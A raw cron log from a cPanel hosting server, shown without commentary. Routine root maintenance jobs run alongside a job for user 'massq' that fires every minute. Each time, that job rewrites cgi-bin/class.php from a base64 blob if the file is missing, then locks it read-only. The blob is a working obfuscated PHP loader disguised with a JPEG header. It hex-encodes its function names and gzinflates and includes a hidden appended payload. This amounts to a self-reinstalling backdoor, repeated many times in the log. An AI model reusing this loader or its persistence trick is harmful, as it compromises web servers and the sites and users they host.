Sep  3 09:53:01 server CROND[6910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:53:01 server CROND[6912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:53:01 server CROND[6911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:54:01 server CROND[7376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:54:01 server CROND[7377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:54:01 server CROND[7378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:55:02 server CROND[7916]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:55:02 server CROND[7917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:55:02 server CROND[7915]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:55:02 server CROND[7918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:55:02 server CROND[7919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:55:02 server CROND[7925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:55:02 server CROND[7922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:56:01 server CROND[8805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:56:01 server CROND[8806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:56:01 server CROND[8807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:57:01 server CROND[9196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:57:01 server CROND[9197]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 09:57:01 server CROND[9198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:57:01 server CROND[9199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:58:01 server CROND[9592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:58:01 server CROND[9593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:58:01 server CROND[9594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:59:01 server CROND[9988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:59:01 server CROND[9989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:59:01 server CROND[9990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:00:01 server CROND[10450]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 10:00:01 server CROND[10452]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 10:00:01 server CROND[10460]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 10:00:01 server CROND[10467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:00:01 server CROND[10474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:00:01 server CROND[10476]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:00:01 server CROND[10472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:00:01 server CROND[10473]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:00:01 server CROND[10471]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:00:01 server CROND[10470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:01:01 server CROND[11372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:01:01 server CROND[11374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:01:01 server CROND[11373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:01:01 server CROND[11375]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 10:01:01 server run-parts(/etc/cron.hourly)[11375]: starting 0anacron
Sep  3 10:01:01 server run-parts(/etc/cron.hourly)[11392]: finished 0anacron
Sep  3 10:02:01 server CROND[11773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:02:01 server CROND[11772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:02:01 server CROND[11774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:03:02 server CROND[12148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:03:02 server CROND[12149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:03:02 server CROND[12150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:04:01 server CROND[12553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:04:01 server CROND[12554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:04:01 server CROND[12555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:05:01 server CROND[12950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
